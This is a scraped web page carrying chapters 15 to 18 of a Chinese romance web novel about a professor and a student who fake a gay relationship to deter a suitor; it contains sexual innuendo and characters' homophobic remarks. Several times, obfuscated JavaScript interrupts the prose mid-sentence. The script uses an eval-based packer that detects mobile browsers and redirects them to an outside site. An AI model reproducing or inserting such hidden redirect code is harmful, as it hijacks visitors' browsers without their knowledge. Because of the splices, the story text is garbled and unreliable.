l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082357|179412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己解决的吗？余序又不是没有手。 柏辰浩愣了下，身经百战的他从陈西庭坦然的神情上读出什么，“你们俩……还没做过啊？” 陈西庭沉默一秒，这句话有点超出他的认知，没有哪个直男会去研究同性恋应该怎么做/爱，他对此只有一个模糊的概念。 “咱俩加个微信。”柏辰浩拿出手机，露出一抹不怀好意的笑，“我给你发点好东西。” 陈西庭知道肯定不能是什么好东西，但话都说到这里了，拒绝就不太给面子了。 好友通过后，柏辰浩立即发来一个文件夹，“都是我珍藏的精品学习资料，一般人我都不给呢，你回去好好学习一下，争取早日拿下我们阿序，你别看他拽成那样，其实纯情得很。” 陈西庭：“……” 他大概猜到是什么了。 他不想跟一个同性恋聊这个，把话题引到写真照片上面，柏辰浩又来了精神，口若悬河地夸赞他们俩拍得好，简直是天造地设的一对。 陈西庭也不想听这个，直接问照片怎么处理。 柏辰浩伸出三指发誓，又拍着胸脯保证，“我修完存u盘里给你们俩，我绝对一张不留，备份也不留，我办事你放心。” 陈西庭点头，“拜托你了。” 其实他并不是很担心照片外传，没人规定大学教授不能拍同性恋照片，何况教授于他来说只是一份工作。 两人聊好这件事，余序终于走了出来，衣服已经换回卫衣，美瞳和项圈也摘了，双手揣在兜里，脸色有点冷漠，“走了。” 陈西庭拿起外套，柏辰浩送他们两个下楼。 做戏要做全套，陈西庭是开车来的，余序自然要坐他的车回去。 在陈西庭去把车从停车位开出来的空当，余序问柏辰浩：“0和1什么意思？” “这个啊。”柏辰浩笑起来，右手伸出一根食指，左手的食指和拇指比出一个圈，右手食指从左手的圈中穿入，“在性.关系中，担任这个体位的就是0，这个就是1。” 余序：“……” 草，陈西庭占他便宜。 上车后，余序的脸色更臭了，两人一路无话。 最终车在校门口停下，余序却毫无解开安全带下车的意思。 陈西庭疑惑看去，余序靠着椅背，面无表情地道：“懒得走，麻烦把我送到宿舍楼下，谢谢。” 陈西庭笑，“怎么，射完没力气走了？” “……” 余序二话不说，解开安全带推门下车，头也不回地走了。 陈西庭单手扶着方向盘，看着他挺拔的背影远去，蓦地勾唇轻笑。 到家后，柏辰浩发来消息问他有没有看学习资料。 陈西庭敷衍两句，将文件夹转发给余序。 余序很快回复：【？】 陈西庭言简意赅：【学习资料】 余序正坐在电脑前写实验报告，以为是竞赛相关的学习资料，点开里面一水儿mp4格式的视频，封面上什么也看不出来，他没多想就随手点开一个。 “……啊……” 毫无预兆的声响在安静的宿舍中。 其余三个舍友同时探出脑袋： “？” “？” “？” 15. 苏城 拍摄视频的人一点也不含蓄，上来就非常劲爆，画面极具冲击力，与喘息和碰撞声同时强行侵占视听。 余序看见这画面愣了一下，反应过来立即去点“关掉”，偏偏太过匆忙，以至于鼠标指针点在了“放大”上。 白花花交叠的画面瞬间铺满整个电脑屏幕。 “呦！” “阿序你原来好这口~” “你看这个怎么也不知道避着人呀~” 三个舍友同时兴奋地调侃起来。 余序感觉脸颊腾腾发热，关掉视频后闭眼深吸一口气，压住冲动的怒气，敲击键盘发送消息： 【陈西庭！！！】 【你给老子发的什么破玩意儿！】 那种片子就算了，竟然还是两个男的乱搞！！以为谁都跟你一样是同性恋？！ 陈西庭不疾不徐，先发过来一张他和柏辰浩的聊天内容截图，跟着道：【你朋友给你的学习资料】 余序眼前一黑，要不是已经封寝了，他一定出去给他们两个都丢海里喂鲨鱼。 他们同性恋一定都有病！ 舍友老四没感觉到问题，继续嬉笑着问：“阿序你不看了啊？接着放啊，没想到你喜欢这种的，我还没见过两个男的搞……” 余序偏过头，黑眸冷戾如刀子般凛人。 老四嘴巴张了张，话断在了空气中。 宿舍里的氛围一下就不对劲了，其余两个舍友对视一眼，暂时没出声。 男生宿舍间的关系处起来很容易也很轻松，余序平常虽又冷又拽了些，和大家相处也都很正常。 但大家心里都感觉得到，余序跟他们是不一样的。 余序他不学习的时间基本都在兼职，外面传起他家境贫困，可实际上，他的吃穿用度都十分精贵细致，从生活用品和穿衣鞋袜，每一件都是大牌的质感，但没有一件有logo和水洗标，网上也根本搜不到同款。 能考入京大物理系的人，基本都是全省前几，层层教育资源加身，知道京州内藏龙卧虎，贫困家庭可没有这样的能力，更何况余序凌厉睥睨的气势也绝不是普通家庭能培养出来的，这种感觉让大家玩归玩，闹归闹，多少有点不敢真的惹到他。 偏偏老四是个缺心眼的，对余序的眼神犯怵，又不想丢了面子，嘟囔道：“凶什么，不就看个片儿么，你觉得丢人你别看啊……” 余序嘴角扯出一抹似笑非笑的弧度，“这么想看，我全发给你？” 老四眼中露出一抹嫌恶，转了回去，“不要，同性恋多恶心啊。” 这话说的有点过分，舍长何谦堂圆场道：“同性恋就同性恋呗，老四你别搞歧视呀，阿序你是不是点错了？别生气别生气，我们开个玩笑的嘛。” 余序冷淡地“嗯”了声，关掉和陈西庭的聊天框，继续写实验报告。 何谦堂让他早点休息，明天周日可以继续写，将闹剧就此结束掉。 余序全部写完后才关了电脑上床休息，可能是拍写真时和陈西庭闹了那一出，也可能是刚刚影片的冲击力太大，他梦里竟然也是一场靡靡声色，淋漓春水。 另一个主人公的眉眼长得极好，狭长微挑，漫着潋滟水光，手臂挂在他的肩头，颧骨上的红色小痣宛如余烬里的火光，起伏晃动间明艳灼灼，漂亮得让人移不开眼。 从梦中脱身后，窗外天色将明未明，余起了一身汗，掀开被子后，看着……一阵无言以对。 舍友们还没醒，余序动作很轻地洗了个澡，又把脏掉的睡衣和内裤给洗了，忙活完时，天际线一片晴朗橘红。 临近九月中旬，京州气温下降得厉害，余小姐发来消息提醒他多穿衣服，余序便套了件红黑两色的棒球服外套，收拾书本前往图书馆。 余序刷学生卡通过图书馆门闸时，太阳正从天边连绵的城市轮廓跃出，陈西庭刚好走出苏城的机场出站口。 司机郑叔等在出站口外，拉开宾利的后座车门，恭敬道:“少爷，您回来了。” 苏城地处淮南，九月仍然温暖宜人，陈西庭的西装外套有点厚了，他边上车边单手解开衣扣，“让你这么早来接，辛苦了。” “不辛苦不辛苦，应该的。”郑叔关上车门，绕到主驾启动车辆，笑着说：“太太亲自下厨给你做了早饭，等着你回家呢。” 陈西庭将脱下的外套放到一旁，问：“我爸呢？” “先生一早就去公司工作了。” 陈西庭轻轻摩挲着手机侧框，“知道了。” 特地在相亲后把他叫回来，想说什么不言而喻。 渊屿山庄是苏城最著名的富人区，森林覆盖率高达百分之七十，清晨的山间缭绕着缈缈薄雾，宾利穿行而过，停在一座中式园林别墅前。 陈西庭暑假留在研究院里，上次回家还是二月初过年，时隔大半年回来，家里的景致除了从冬末换成秋初外，并没有什么变化。 江雁回和保姆一起出来迎接他。 “妈。”陈西庭礼貌地挨个唤人，“翠姨。” 母亲是个身居高位的女强人，轻易不会表达情绪，站在门口看着他，仅从细长的眼眸流出一抹笑意，“回来了。” 倒是保姆阿姨嘴角合不拢地高兴，过来接过他的外套，“哎呦，你丹姨是不是没把你照顾好啊？你看着都瘦了。” “工作忙了些而已，丹姨没出过错。”陈西庭解释说，和她们一同进门。 “工作那么辛苦啊？”翠姨给他拿拖鞋，有些心疼地道：“回来住几天呀？翠姨给你多做点好吃的补补。” 陈西庭站在玄关处换鞋，“只待半天，下午的飞机回去。” 翠姨惊讶，“怎么就待半天？好不容易回来一趟。” 江雁回出言道：“他现在是副教授，忙点正常，等寒假回来就好了。” 又寒暄了几句，早饭被端上餐桌。 家里的早饭一如既往地丰盛，陈西庭多盛了一碗江雁回煮的莲子粥，并夸她厨艺有长进。 “你翠姨也这么说。”江雁回将一叠黑虎虾锅贴换到他面前，问道：“昨天和那个姓徐的女孩见面了？” 陈西庭夹起一个锅贴，随意地“嗯”了一声。 “感觉怎么样？” “还好。”陈西庭中规中矩地回答：“她跟我是一个导师，我们之前就认识。” “怪不得，我说她怎么对你感兴趣呢。”江雁回满意地看着自己出类拔萃的儿子，继续道： “既然这样，你要不要和她接触一下？你年纪也不小了，自己一个人在京州那么远的地方，我和你爸总是不放心，她是京州本地人，多少能帮衬上你。” 这套说辞回来时陈西庭就猜到了，母子彼此了解，不需要弯弯绕绕，他放下瓷汤匙，淡然反问：“不放心我什么？” 江雁回略显迟疑，没有立即答。 陈西庭从容不迫，“她和你们说我是同性恋了，而你们怕我真是同性恋，对吧。” “嗯。”江雁回轻声应， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082358|179412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉心闪过一丝犹豫，又用不容置喙的语气道：“你是集团董事长的独子，不能闹出这种丑事，会影响集团股价。” 越是高位者，越看重名誉。 “放心。”陈西庭用纸巾不紧不慢地擦嘴，“我不是。” 陈西庭完美继承了父母喜怒不形于色的优点，江雁回也没看出来他是说真的，还是在应付她，斟酌了下，问：“和你相亲的那个男孩子是怎么回事？” 陈西庭丢掉纸巾，并不躲避母亲探究的眼神，淡淡一笑，“是个误会。” 徐叶枳在学校里乱传就算了，竟然连这件事都舞到了他父母面前。 他不想再聊同性恋的这个问题，半真半假地道：“导师介绍的，以为是女孩，来了才发现对方是男孩，刚好这学期他上我的课，所以接触多了点。” “这样啊。”江雁回略微一点头，“小徐要不要考虑一下？她各方面都很合适。” 合适。 陈西庭想说什么，到了嘴边又咽了回去。 于父母而言，利益是最重要的，他喜不喜欢根本不重要，他如果说不喜欢徐叶枳，母亲一定会说感情可以培养，毕竟就算是真心喜欢，也会因为各种原因变质。 人的感情变化仅在一念之间，唯有利益绑定才最牢不可破。 他从小就被迫懂得的道理，现在去否定有什么用呢。 陈西庭妥协半步，“我考虑考虑。” 吃完早饭，陈西庭上楼换了套薄款的西装，跟着江雁回一同前往公司。 高中后忙着学业，他来这边的次数屈指可数，从宾利停在大厦门口开始就引人频频注目。 周末上班的人不多，遇到加班的员工给江雁回问完好，接下来视线都要往他身上瞟两眼，性格活络的还要再说一嘴江总这是您儿子吧，真是一表人才啊。 这种情况，陈西庭总要与其握手，客套两句。 电梯上行，江雁回在半路带着助理下去处理工作，让他自己先上去见父亲。 董事长办公室门口的个助理和秘书都认得他，哪怕他没有在集团内任职，仍起身恭敬地喊他：“小陈总。” 陈西庭礼貌亲和地笑笑，让他们不用客气，问：“我爸在里面？” “是的。”助理答：“陈董和市场部长在里面。” 陈西庭点头，在等候区的沙发上坐下，“那我等会儿吧。” 助理给他端来咖啡，闲聊了几句后就去忙了。 没多久市场部长出来，瞥见陈西庭后有点意外，走过来道：“西庭？你怎么来了？” “煜哥。”陈西庭起身，“我周末休息，回来见见我爸。” 集团是家族企业，这位部长是他的堂哥，虽是同辈，但已年近四十，商场浸淫多年，让他看起来格外成熟稳重，说陈董心情不太好，让陈西庭顺着他一点。 言辞间有些东道主的意思，陈西庭并不往心里去，道了声谢，由助理敲响办公室的门，获得许可后进入。 陈行洲坐在办公桌后面，揉捏着眉心，看起来心情确实不怎么样。 “爸。”陈西庭开口。 陈行洲抬头看他一眼，下巴点了下对面，“坐。” 陈西庭拉开椅子坐下，“您叫我回来有什么事？” “你先看看这个。”陈行洲递过来一份财务报表。 陈西庭自小耳濡目染，看这些东西自然没有问题。 看完后他将文件夹合上放下，陈行洲问：“看出来什么了？” 16. 茶叶 周一上午，陈西庭刚到学校停好车，就被梁院长发消息叫到办公室。 办公室的门敞着，徐叶枳正在里面和梁院长说说笑笑。 陈西庭象征性地敲了两下门，走进去，“老师。” “来了啊。”老头笑眯眯地招呼他。 徐叶枳露出一个明媚的笑容，“西庭学长。” 陈西庭和徐叶枳点头示意，问梁院长，“什么事？” 徐叶枳语调轻快，主动道：“我的事我的事。” 她把桌上精美包装的小盒子分出来两个，往陈西庭这边推了推，“我爸弄了点茶叶，他又喝不完，我带来给大家尝尝，学长你也尝尝看好不好喝。” 光看包装便知这茶叶定然价值不菲，陈西庭刚好又很识货，认出这是茶香之王，凤凰单丛中的宋种，公认的液体古董，收藏级的茶叶。 “我不喜欢喝茶。”陈西庭婉拒，“老师替我尝尝吧。” “好叭。”徐叶枳笑容不减，“那你喜欢喝什么呀？我朋友在云南种咖啡，给了我一些，我晚点拿给你叭。” “不用，我平常都喝自来水。”陈西庭淡淡开了个玩笑，“没别的事我先走了，一会儿有课。” “有事有事，你先坐。”梁教授赶忙道，语气商量：“叶枳她想给你当助教，你看行不？” “助教？”陈西庭转头看向徐叶枳，“你等毕业直接当讲师不就行了？” 博士学位毕业取得代表性成果，可以直接留校任讲师，徐叶枳不是花瓶，她手中的成绩足够亮眼，当讲师绰绰有余。 “哎呀。”徐叶枳双手捧脸，做娇羞状，声音甜甜地说：“人家是想给你当助教啦。” 她故意咬重“你”字的发音，重点不是助教，而是给你当助教哦。 陈西庭下意识想要拒绝，他一直中意安静的、细心的女生来当助教，而不是徐叶枳这样外向的、热烈的。 让她给他当助教，和把唐僧送进盘丝洞有什么区别？她一个人能顶七个蜘蛛精。 陈西庭在把拒绝的话说出口的瞬间，想到了昨天父亲的话。 说来说去，其实就是他早就猜到的事。 陈行洲赶上时代潮流，和江雁回打拼下来一代家业，而时代变化太快了，市场份额在减小，互联网行业挤压，只有攀上京州的大树，寻找新的发展机会，才能在新的时代潮流中站稳脚跟。 他猜到了，与父亲把他叫去亲口所说让他去做，是两回事。 前者他可以装不明白，后者则是把责任摊明，压在了他肩上。 食君之禄，忠君之事，他没有可以拒绝的余地。 梁院长冲陈西庭耸了下肩，表示自己也没办法，他能看出陈西庭的迟疑，也知道他不喜欢徐叶枳的性格，但徐叶枳提出做助教的事合理合规，他也没有什么的理由能回绝。 他将徐叶枳已经签好的助教任用合同推过来，“西庭，你在这里签个字就好了。” 陈西庭拿起笔，在合同上签下自己的名字。 一式两份，一份由梁院长保管，徐叶枳收下自己的那一份，很高兴朝陈西庭伸手，“西庭学长，以后请多多指教啦。” 既然已经到了这一步，陈西庭自不会再流出半分抵触情绪，淡笑着和她握手，“多多指教。” - 余序停了所有兼职，周一早上还是很困，冷着一张俊脸，懒懒恹恹地靠在椅背上，一副生人勿近的模样等着上课。 何谦堂哈欠连天，感慨道：“高中时觉得要是八点上课该有多好，大学了觉得八点上课这也太几把早了……” 前座两个女生挨着脑袋在讲话，不知道嘀咕什么，不时往后觑两眼。 余序早已习以为常，视若无睹，何谦堂却不太舒服，凑过去问：“你们俩说什么呢？” 两个女生一个是文艺委员，一个是班长，同时被他吓了一跳，对视一眼后，文艺委员踌躇了下，看向余序：“那个……余序。” 余序冷淡地掀眼看她，深邃的黑眸里没有什么温度。 文艺委员有点发怵，求助地看向班长，班长捏了捏她的手，接着道：“余序，国庆咱们院有个迎新晚会，我们班要出两个节目，你不是会拉小提琴嘛，你要不要参加一下？可以加德育分。” 何谦堂一听这个，替摆手余序道：“你们找找别人吧，我们阿序没空，他除了上大三专业课还参加竞赛了呢。” 两个女生又对视了下，文艺委员抿抿唇，像是不亲耳听到余序拒绝不死心，鼓起勇气看着他道：“唱歌跳舞小品的几个名额都被别的班给占了，班长会吹唢呐，我想让你和她合奏。” “排练在晚上，你可以选一个你擅长的曲目，只排练完你的节目，练完就走，用不了你多少时间的。” 何谦堂比出大拇指，“让唢呐和小提琴结合，你这个。” 余序脸上没什么表情，黑眸一错不错地睨着她， 文艺委员和他对视的勇气用光，垂下视线。 停了两秒，余序终于开口，嗓音薄冷，“你们怎么知道我会拉琴？” 两个女生同时一愣。 何谦堂看看她们，又看看余序，反应过来：对吼，他都不知道余序会拉小提琴哎。 文艺委员不知道是不是惹他不高兴了，小声解释道：“我弟弟在京州国际高中上学，我在学校网站之前的宣传页看见的，你高一时候参加文艺汇演，上面有你拉小提琴的视频。” “国际高中？”何谦堂疑惑问余序，“你不是市一中的么？怎么跑国际高中了？” 像这种首都内的知名高中，每年竞赛和高考取得的成绩都会用作宣传材料，余序是代表市一中参加的京大冬令营，这点在网上都能找到。 余序漠然道：“转学了。” 转学？ 三个人都有些惊讶，京州国际高中可是国内最顶尖的私立高中，有多难进他们都清楚，有多少钱都进不去，需要超牛逼的人脉才行。 里面学生过得也特别舒服，连校服都不用穿，早上八点放学，下午三四点放学，常青藤名校升学率还是百分之百。 和国内公立高中相比，简直一个天上一个地下，只见过拼命从公立往里面挤的，没见过从里面转出来的。 得受多大刺激才出来和他们这些“平民”卷竞赛卷高考啊？ 何谦堂实在忍不住好奇，问道：“不是哥们，你为啥转学啊？国际高中多好啊。” 两个女生也用充满八卦的眼神看着余序。 “不小心。”余序唇角轻扯，“把同学给打死了。” “……” 空气一片安静，连一旁的几个无关人等都投过来视线。 何谦堂嘴角抽了抽，“你可真……幽默哈。” 两个女生：我们冒昧了，实在是太打扰了。 任课老师在这时走进来，上课铃响起，话题结束，众人开始上课。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一辆黑色迈巴赫在不远的停车位停下，车上分别下来一男一女。 何谦堂眼尖，下巴往那边一点，“阿序，你看那个是不是陈教授。” 余序看过去。 路灯透亮，照亮一男一女并行的身影，男的修长，女的窈窕，正往教学楼门口走，看起来十分相称。 何谦堂小声八卦道：“这该不会是陈教授和他女朋友吧？” 余序：“不知道。” 嘴上说不知道，心里却认为不可能是，他认出女生是上次下雨，陈西庭副驾上的人。 陈西庭要是喜欢她，上次就不会借口说要和他一起去约会了。 再说，同性恋找什么女朋友？响应国家号召完成三胎政策？ 上课遇见老师又不是什么大事，两人继续走，走了没两步，何谦堂低声“哎我”了声，然后示意余序往那边看，“他们不会要接吻了吧？” 余序偏头，看见陈西庭和那个女生不知道为什么停了下来。 陈西庭往地上看了眼，接着屈起长腿半蹲下来，耐心地给女生系鞋带。 路灯投下极好的光影，俊男靓女不用修饰便是一幅精彩的情侣头像。 余序：“……” 何谦堂嘶了声，“我怎么觉得这比接吻还暧昧呢？” 17. 解题 余序轻眯了下眼。 这个同性恋……不会想要欺骗无知少女吧？不对，那女的上次不都知道他是同性恋了吗？ 有病。 余序懒得想这种破事儿，收回视线，当做没看见，“走吧。” 报名竞赛的人还挺多，小教室里坐得差不多了，前排右侧靠墙有两个空位，两人过去坐下。 没一会儿，陈西庭和徐叶枳两人前后脚走了进来。 陈西庭先简单介绍自己，又介绍徐叶枳是他的助教。 何谦堂在下面小声和余序说：“给他当助教需要什么条件呀？” 余序不解：“你也想让他给你系鞋带？” “不是，我是想离学神近一点，传授我点学习经验，近朱者赤嘛！” 陈西庭讲起一些上课的注意事项，徐叶枳帮忙把打印好的竞赛例题发下，由第一排向后穿。 何谦堂转身递给后面，又小声问余序：“你说他们两个是情侣吗？” 余序没答话，低头点开手机，接着何谦堂的手机震了两下，他点开一看，余序给他推荐了一个好友名片。 何谦堂疑惑地发送一个问号。 余序单手打字回复：【陈教授微信】 【你可以自己问他】 何谦堂：【……】 刚好这时徐叶枳发完例题，回到他们前面的助教桌子边坐好。 余序：【你也可以直接问她】 何谦堂发送一个我闭嘴的表情包，安安静静开始上课。 竞赛这种东西就是看天赋的，听着听着，何谦堂感觉有些吃力，已经远超出课本上学到的高数知识了。 必须全神贯注跟着老师的思路走，分神一点再回来就不太能跟上了。 讲完一题休息时，何谦堂往旁边一看，余序不知道什么时候把他的专业课作业拿了出来，已经快写完了。 何谦堂一愣，“不是，阿序你不听了？” “听。”余序放下笔，散漫地活动两下脖子，“我一心二用。” “……哈？”何谦堂呆若木鸡。 他知道余序平常上课时也会学其他课的东西，他以为是那些课的内容太简单，余序不想浪费时间听，原来竞赛这么费脑子的课也能一心二用么？ 怪不得兄弟你准备两年修完全部学分，抽空还能来上竞赛，感情在图书馆学习和上课学习都不耽误你啊！ 何谦堂本身也是省状元考进来的，此时没有对天才的嫉妒，只有对“人外有人，天外有人”，天才之上还有天才的透彻领悟。 “那你岂不是……”何谦堂凑过去，贱兮兮地问：“能左手画圆，右手画方？” 余序看白痴似的看了他一眼，左手拿起自己的笔，右手把他的笔抽走，两只手同时在草纸上写起来。 何谦堂以为他真画起圆和方，定睛一瞧，傻眼了。 余序左右手同时写起字，左手写的“余序”，右手写的“何谦堂”，写完同时放下笔，右手把草纸带着何谦堂的笔往这边一推。 草纸上，两个名字写得横是横，竖是竖，同样的漂亮凌厉，锐气逼人。 何谦堂被震惊得说不出来话，左手能写字就很牛了，左右手不仅同时写，写不同的字，写出来的还同样漂亮。 这岂是一个“牛逼”能形容的！ “哇……去。”何谦堂有点想哭，“呜呜呜人怎么能牛逼成这样？这么牛的人竟然是我的舍友！” “呜呜呜学神给我贴贴。”何谦堂说着要往余序身上抱，被余序嫌弃地按着脸推走。 “滚。” “好嘞学神大大！” “咚咚咚。” 陈西庭敲了敲黑板示意同学们收心，继续讲起下一题型会用的几何知识点，何谦堂敛了嬉笑，专心致志地听讲。 余序也拿起笔继续做起物理题，分心听陈西庭讲课，不时抬头看一眼他写的演算公式，这节课就这么溜了过去。 结束时陈西庭留了一道题当作业，同学们陆续走掉，但还剩了几个准备自习，或者是想把这道作业题解完再走。 余序就是后者，何谦堂也没有别的事，留下来陪他一起解。 这题有点难度，虽然涉及的解题知识点刚刚上课都讲过了，但数学这种东西就是上课教你怎么和面，考试考你怎么用面粉搭建出来一座五颜六色的芭比梦幻城堡。 何谦堂没找到思路，啃了好一会儿手指，转头一看余序，这人哗啦啦地写了两页纸，都快解完了。 他把余序的第一页纸拿过来，看了眼思路，恍然大悟，也开始解题。 过了不到半分钟，余序解完丢下笔，抬头看见陈西庭还没走，坐在讲台边玩手机，徐叶枳也没走，在门口走廊上不知道在和谁打电话。 余序拿起自己解完的题走过去，“老师。” 陈西庭抬头，一副温润有礼的好教授模样，“怎么了？” 态度正经得仿佛前天把人家小孩搞～了的人不是他。 余序心中对这个装货不耻，脸上却是一副不认识他的好学生模样，把本子递过去，“你留的那道题我解完了，你看看对不对。” 陈西庭接过来，翻看着扫了两眼，“你解的没问题，用多久解出来的。” 余序瞥了眼墙上的石英钟，“十五分钟。” “还挺快的。”陈西庭的语气带了些赞许，“字也很漂亮。” 要不是余序接触过他，此时也会觉得他的认可是真心的，故意道：“可是我觉得这个解法有点繁琐，老师你有简单的解法么？” 陈西庭看着他，停了一秒，轻飘飘地伸出修长的手，“会。” 余序把笔放到他手上。 何谦堂听见这对话立即凑了过来，还有另外的两个学生也跟着过来旁听。 陈西庭打开笔，直接用左手在纸上写起来，他先引入了一个新的数学定理概念，比上课讲的那些还要难理解很多，把这个定理讲清楚后，再融入到这道题中。 余序的思路跟着他走，却不免被他写字的手分走部分心神。 陈西庭的手非常漂亮，肤色冷白似玉，手指细窄修长，筋骨明晰，宛如清厉的青竹，松松地握笔时，手背上青筋若隐若现，堪称艺术品。 常人看见这双手可能只会赞叹生得好，但余序却总忍不住想到被它按住时的感觉，要命的燎人。 好烦。 陈西庭的讲解进行到尾声，合上笔盖，抬头问余序：“听懂了么？” 余序臭着俊脸，“嗯”了声，转身回到自己的座位。 虽然脑子里全是十/八/禁的东西，思路却一直跟着陈西庭的讲解，他新讲的这个完全是换了一个方法，但要是理解了这个定理，整个解题过程确实是简便非常多。 陈西庭有点莫名其妙，怎么讲个题，还给小孩讲生气了？ 不过这么多人在，他也不能多问，关心其他学生有没有听懂，没听懂的地方，他又多讲了一遍，实在听不懂的，他只能说理解第一种解题方法就好了。 一来一去，又是半个多小时过去，余序在座位上把自己的其他两门作业都写完了。 讲台边的学生散去，陈西庭过来还他笔。 余序连着习题册一起装进包里，并不打算和他说话。 陈西庭却先开口，饶有兴致地问：“你生什么气呢？” 余序拉上书包的拉链，下巴一指门口，“你女朋友在等你。” 说完他微微一滞。 他本来想说你助教在等你，受何谦堂影响，下意识说成了女朋友。 陈西庭不会理解成他吃醋了吧……想到这里，余序烦躁地乜了眼正在收拾东西的何谦堂。 无辜的何谦堂：哈？ 陈西庭站在两张桌子中间的过道上，“她不是我女朋友。” 徐叶枳今天穿着一套浅蓝色的jk裙，双手环着帆布包，背靠在门边，笑眯眯地道：“是我在追他哦，不过快追上了。” “跟我有什么关系？”余序无语地睇她一眼，转头催起何谦堂：“何谦堂你收拾完了没？” 何谦堂立即加快收拾的动作，把东西塞进包里，“好了好了。” 徐叶枳也开口，笑着道：“学长我们也走吧，我朋友们在门口等着了啦。” 余序单手将手包挂到肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082360|179412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，绕过陈西庭想往门口去，却不想经过他时，被他拉住手腕。 余序：“？” 陈西庭看着他，不紧不慢地道：“我们要去海边露营看流星雨。” “你们看流星雨告诉我干什么？”余序蹙眉，要抽出自己的手继续走，陈西庭却加大手上的力度，攥住他的手腕不放。 成年男性的手劲儿自然不小，余序也不想跟他拉拉扯扯，不耐地瞪他：“你想干什么？” 陈西庭静静地看着他，澄亮如水的黑眸里波澜不惊。 余序：“……” 莫名像在求自己是怎么回事？ 他看向徐叶枳，果然见她脸上的笑容不见了。 他也是有过这种经历的人，猜测陈西庭很大概率，不想和她一起出去。 余序脸色依旧很臭，问陈西庭：“露营能带上我跟我舍友吗？” “可以。”陈西庭露出一个微笑，“欢迎。” 何谦堂：“啊？” 不是，这什么情况？好好个大帅哥，为啥想不开去当电灯泡啊？ 他左看看右看看，故作茫然地提醒余序，“阿序，我们不是要回去跟他们开黑么？去什么露营啊？” 流星雨哎，听着多浪漫啊，你当什么电灯泡啊？ 余序准确猜中陈西庭的想法，想不管他，又觉得这是一个找回面子的好机会，对何谦堂道：“游戏什么时候不能玩，流星雨错过就没了。” 何谦堂：“……” 你可以一点不像会喜欢看流星雨的人啊！ 流星雨这种东西，一年到头总会有几场，被营销号打上各种各样的噱头，真去了能看见一两颗流星就不错了，他可不凑这种无聊的热闹。 但见余序执意要当电灯泡，他识趣地道：“我对流星雨没兴趣，要不你跟他们去？我回去打游戏。” 他不去，余序也不能强求，把自己的书包从肩上取下递给他：“好，你帮我把包带回去吧。” 何谦堂走后，陈西庭这才缓慢地放开余序的手腕，唇角勾起一抹满意的弧度，轻声道：“goodboy。” 他嗓音清越，说这句英文时带了一点上钩的尾音，像在心尖上轻轻挠了一下，余序垂下眼睑，活动两下被他握红的手腕：“我是你爹。” 陈西庭轻笑，看向徐叶枳，“我的学生也想去看流星雨，你朋友应该不会介意吧？” 他把人都叫上了才询问她可不可以，徐叶枳哪里还会说不行，扬起笑容，大大方方地道：“当然不会啦，一起玩交个朋友嘛，刚好我闺蜜还单着，可以介绍给他。” “不用。”陈西庭说：“他是同性恋。” 余序：“？” 老子好心帮你，你给老子泼脏水？？ 徐叶枳嘴角的笑容尴尬了一瞬，继续笑道：“没关系没关系，我朋友里也有喜欢男生的，说不定有他喜欢的类型呢。” 余序有点佩服她了，什么都能圆上。 出了教室，陈西庭要去洗手间。 余序和徐叶枳在门口等着，洗手间外宽大的仪容镜清晰映出两人的身影。 徐叶枳毫不避讳地打量着镜中的他，又将视线从镜中移出来继续打量。 余序早就习惯这种探究的视线，面无表情地睇她一个疑惑的眼神。 “你真的是同性恋呀？”徐叶枳弯起沾着卷翘假睫毛的眼睛，笑着问。 陈西庭把话都说出去了，余序也懒得找借口否认，“嗯。” “你看着不太像哎。”徐叶枳说：“我认识的同性朋友还挺多的，你给人的感觉，不像是会对男人感兴趣的。” 余序没接话，心说看得还挺准。 徐叶枳继续道：“你喜欢什么类型的？” “什么？”余序问。 “男生啊？”徐叶枳眨了眨眼，“我看看有没有合适的，给你介绍一下，不然感觉你没什么事做，挺无聊的。” 余序听出她的内涵，无非是说他闲得没事，非得上赶子当电灯泡这事。 余序心中冷笑了声，面上轻叹了口气，用无辜的语气道：“我也在追陈西庭，你不会介意吧，学姐？” 18. 赛车 徐叶枳唇角的笑容微滞。 她可以确定，陈西庭上次说和这个男孩去约会是为了搪塞她。 陈西庭不是同性恋，但没说这个男孩不是同性恋。 徐叶枳长这么大，第一次和一个男孩成为情敌，这种微妙的感觉莫名激起了她的好胜心。 她下一秒便调整好表情，语气温柔，宛如一个知心大姐姐，“以你的外形条件，想找什么样的男生找不到？何必强求一个直男呢？” 余序面容冷淡，原话奉还：“以学姐的条件，想找什么样的男生找不到？何必强求一个不喜欢你的男人？” 还是个骗你是直男的同性恋。 “你才大二，追求自己的老师。”徐叶枳故意停顿了下，挑了挑眉梢：“师生恋，不太合适吧？” “有什么不合适的？”余序轻嗤了声，“我不会毕业？” 